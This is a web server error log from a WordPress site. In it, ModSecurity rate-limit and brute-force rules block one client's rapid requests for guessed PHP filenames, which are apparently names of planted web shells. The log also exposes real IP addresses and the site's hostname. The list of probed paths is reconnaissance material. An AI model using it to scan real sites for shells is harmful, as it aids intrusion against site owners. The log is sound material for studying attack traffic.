[Tue May 19 02:32:32.158351 2026] [:error] [pid 44087:tid 44098] [client 20.151.117.104:13956] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agtbQG5HPHbH9GK7l6wR5QAAAck"]
[Tue May 19 02:32:33.311271 2026] [:error] [pid 36492:tid 36544] [client 20.151.117.104:13910] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agtbQWCVlogrkn9m2w4uvgAAABY"]
[Tue May 19 02:32:33.739755 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:14069] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "agtbQWCVlogrkn9m2w4uvwAAAAk"]
[Tue May 19 02:32:39.163337 2026] [autoindex:error] [pid 36579:tid 36592] [client 20.151.117.104:14074] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:32:45.474791 2026] [autoindex:error] [pid 36579:tid 36589] [client 20.151.117.104:14074] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:32:47.753500 2026] [:error] [pid 36579:tid 36591] [client 20.151.117.104:14074] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "agtbT1-aoZxBfgL5vDy6DAAAAEk"]
[Tue May 19 02:32:48.223336 2026] [:error] [pid 44046:tid 44071] [client 20.151.117.104:14182] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "agtbUIYF4k2jfXJBXk0UXgAAAZc"]
[Tue May 19 02:32:48.682453 2026] [:error] [pid 44010:tid 44027] [client 20.151.117.104:13962] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "agtbUDcFUuogD3-74-aP8wAAAM8"]
[Tue May 19 02:32:49.230701 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14140] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "agtbUU555B9CZb6D60kGTgAAAVE"]
[Tue May 19 02:32:49.729952 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:13971] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmrlpc.php"] [unique_id "agtbUU555B9CZb6D60kGUAAAAUA"]
[Tue May 19 02:32:50.185469 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14067] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmrlpc.php"] [unique_id "agtbUk555B9CZb6D60kGUQAAAUY"]
[Tue May 19 02:32:50.698466 2026] [:error] [pid 36491:tid 36510] [client 20.151.117.104:13960] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmrlpc.php"] [unique_id "agtbUk555B9CZb6D60kGUwAAAU8"]
[Tue May 19 02:32:51.184629 2026] [:error] [pid 44046:tid 44061] [client 20.151.117.104:13978] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmrlpc.php"] [unique_id "agtbU4YF4k2jfXJBXk0UXwAAAY0"]
[Tue May 19 02:32:51.776619 2026] [:error] [pid 36579:tid 36602] [client 20.151.117.104:14050] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/function.php"] [unique_id "agtbU1-aoZxBfgL5vDy6DQAAAFQ"]
[Tue May 19 02:32:52.213428 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:13972] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/function.php"] [unique_id "agtbVE555B9CZb6D60kGVQAAAUU"]
[Tue May 19 02:32:52.651185 2026] [:error] [pid 43916:tid 43934] [client 20.151.117.104:14038] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/function.php"] [unique_id "agtbVNQC236p33zJJvngoAAAAIo"]
[Tue May 19 02:32:53.221852 2026] [:error] [pid 44087:tid 44106] [client 20.151.117.104:13991] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/function.php"] [unique_id "agtbVW5HPHbH9GK7l6wR8QAAAdE"]
[Tue May 19 02:32:53.658161 2026] [:error] [pid 44087:tid 44102] [client 20.151.117.104:14091] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "agtbVW5HPHbH9GK7l6wR8gAAAc0"]
[Tue May 19 02:32:54.139711 2026] [:error] [pid 44046:tid 44051] [client 20.151.117.104:13967] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "agtbVoYF4k2jfXJBXk0UYQAAAYM"]
[Tue May 19 02:32:54.594911 2026] [:error] [pid 36491:tid 36509] [client 20.151.117.104:14113] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "agtbVk555B9CZb6D60kGVwAAAU4"]
[Tue May 19 02:32:55.103490 2026] [:error] [pid 44087:tid 44108] [client 20.151.117.104:13996] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/an.php"] [unique_id "agtbV25HPHbH9GK7l6wR9AAAAdM"]
[Tue May 19 02:32:55.603068 2026] [:error] [pid 44010:tid 44033] [client 20.151.117.104:13913] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asw.php"] [unique_id "agtbVzcFUuogD3-74-aP9AAAANU"]
[Tue May 19 02:32:56.036839 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14073] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asw.php"] [unique_id "agtbWE555B9CZb6D60kGWAAAAVQ"]
[Tue May 19 02:32:56.590929 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:14036] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asw.php"] [unique_id "agtbWE555B9CZb6D60kGWgAAAUI"]
[Tue May 19 02:32:57.125990 2026] [:error] [pid 44046:tid 44056] [client 20.151.117.104:14128] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asw.php"] [unique_id "agtbWYYF4k2jfXJBXk0UYwAAAYg"]
[Tue May 19 02:32:57.767641 2026] [:error] [pid 36579:tid 36583] [client 20.151.117.104:13894] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "agtbWV-aoZxBfgL5vDy6DgAAAEE"]
[Tue May 19 02:32:58.213478 2026] [:error] [pid 44046:tid 44065] [client 20.151.117.104:14027] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "agtbWoYF4k2jfXJBXk0UZAAAAZE"]
[Tue May 19 02:32:58.702094 2026] [:error] [pid 44046:tid 44048] [client 20.151.117.104:14121] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "agtbWoYF4k2jfXJBXk0UZgAAAYA"]
[Tue May 19 02:32:59.119940 2026] [:error] [pid 36579:tid 36590] [client 20.151.117.104:14247] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "agtbW1-aoZxBfgL5vDy6DwAAAEg"]
[Tue May 19 02:32:59.679016 2026] [:error] [pid 44010:tid 44034] [client 20.151.117.104:14079] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agtbWzcFUuogD3-74-aP9QAAANY"]
[Tue May 19 02:33:00.112183 2026] [:error] [pid 36579:tid 36584] [client 20.151.117.104:14141] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agtbXF-aoZxBfgL5vDy6EQAAAEI"]
[Tue May 19 02:33:00.585790 2026] [:error] [pid 44010:tid 44029] [client 20.151.117.104:14064] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agtbXDcFUuogD3-74-aP9gAAANE"]
[Tue May 19 02:33:01.005461 2026] [:error] [pid 44010:tid 44023] [client 20.151.117.104:14005] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "agtbXTcFUuogD3-74-aP9wAAAMs"]
[Tue May 19 02:33:01.477541 2026] [:error] [pid 44046:tid 44072] [client 20.151.117.104:13986] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtbXYYF4k2jfXJBXk0UaAAAAZg"]
[Tue May 19 02:33:02.035125 2026] [:error] [pid 36493:tid 36567] [client 20.151.117.104:13994] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtbXgynkzQB5nM668roqgAAARI"]
[Tue May 19 02:33:02.468959 2026] [:error] [pid 43916:tid 43925] [client 20.151.117.104:14003] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtbXtQC236p33zJJvngogAAAIE"]
[Tue May 19 02:33:02.942245 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:14061] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mac.php"] [unique_id "agtbXk555B9CZb6D60kGXQAAAUM"]
[Tue May 19 02:33:03.425959 2026] [:error] [pid 36491:tid 36511] [client 20.151.117.104:13975] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "agtbX0555B9CZb6D60kGYQAAAVA"]
[Tue May 19 02:33:03.985069 2026] [:error] [pid 36491:tid 36503] [client 20.151.117.104:13983] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "agtbX0555B9CZb6D60kGYwAAAUg"]
[Tue May 19 02:33:04.559167 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:13895] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "agtbYE555B9CZb6D60kGZQAAAVU"]
[Tue May 19 02:33:05.023747 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:14214] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "agtbYU555B9CZb6D60kGaQAAAVQ"]
[Tue May 19 02:33:05.448816 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:13964] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "agtbYU555B9CZb6D60kGagAAAVI"]
[Tue May 19 02:33:05.908745 2026] [:error] [pid 44046:tid 44068] [client 20.151.117.104:14060] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "agtbYYYF4k2jfXJBXk0UaQAAAZQ"]
[Tue May 19 02:33:06.405666 2026] [:error] [pid 44010:tid 44017] [client 20.151.117.104:13974] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "agtbYjcFUuogD3-74-aP-gAAAMU"]
[Tue May 19 02:33:09.103131 2026] [:error] [pid 44010:tid 44036] [client 20.151.117.104:13984] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "agtbZTcFUuogD3-74-aP_AAAANg"]
[Tue May 19 02:33:09.542853 2026] [:error] [pid 44087:tid 44109] [client 20.151.117.104:13898] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtbZW5HPHbH9GK7l6wR9QAAAdQ"]
[Tue May 19 02:33:09.980148 2026] [:error] [pid 44010:tid 44031] [client 20.151.117.104:14006] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtbZTcFUuogD3-74-aP_gAAANM"]
[Tue May 19 02:33:10.295927 2026] [:error] [pid 44087:tid 44097] [client 209.74.67.111:34684] [client 209.74.67.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.111, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtbZm5HPHbH9GK7l6wR9gAAAcg"]
[Tue May 19 02:33:10.402823 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:13988] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtbZk555B9CZb6D60kGbQAAAVc"]
[Tue May 19 02:33:10.880004 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:14077] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "agtbZk555B9CZb6D60kGbgAAAUM"]
[Tue May 19 02:33:11.315109 2026] [:error] [pid 44046:tid 44058] [client 20.151.117.104:14000] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "agtbZ4YF4k2jfXJBXk0UbAAAAYo"]
[Tue May 19 02:33:11.753319 2026] [:error] [pid 44046:tid 44061] [client 20.151.117.104:14065] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "agtbZ4YF4k2jfXJBXk0UbgAAAY0"]
[Tue May 19 02:33:12.177072 2026] [:error] [pid 36579:tid 36605] [client 20.151.117.104:14058] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "agtbaF-aoZxBfgL5vDy6EwAAAFc"]
[Tue May 19 02:33:12.627809 2026] [:error] [pid 44087:tid 44099] [client 20.151.117.104:14142] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zafir1.php"] [unique_id "agtbaG5HPHbH9GK7l6wR-AAAAco"]
[Tue May 19 02:33:13.062368 2026] [:error] [pid 44046:tid 44056] [client 20.151.117.104:13981] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "agtbaYYF4k2jfXJBXk0UcgAAAYg"]
[Tue May 19 02:33:13.493445 2026] [:error] [pid 44046:tid 44062] [client 20.151.117.104:13992] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "agtbaYYF4k2jfXJBXk0UcwAAAY4"]
[Tue May 19 02:33:13.955656 2026] [:error] [pid 44046:tid 44063] [client 20.151.117.104:14095] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "agtbaYYF4k2jfXJBXk0UdQAAAY8"]
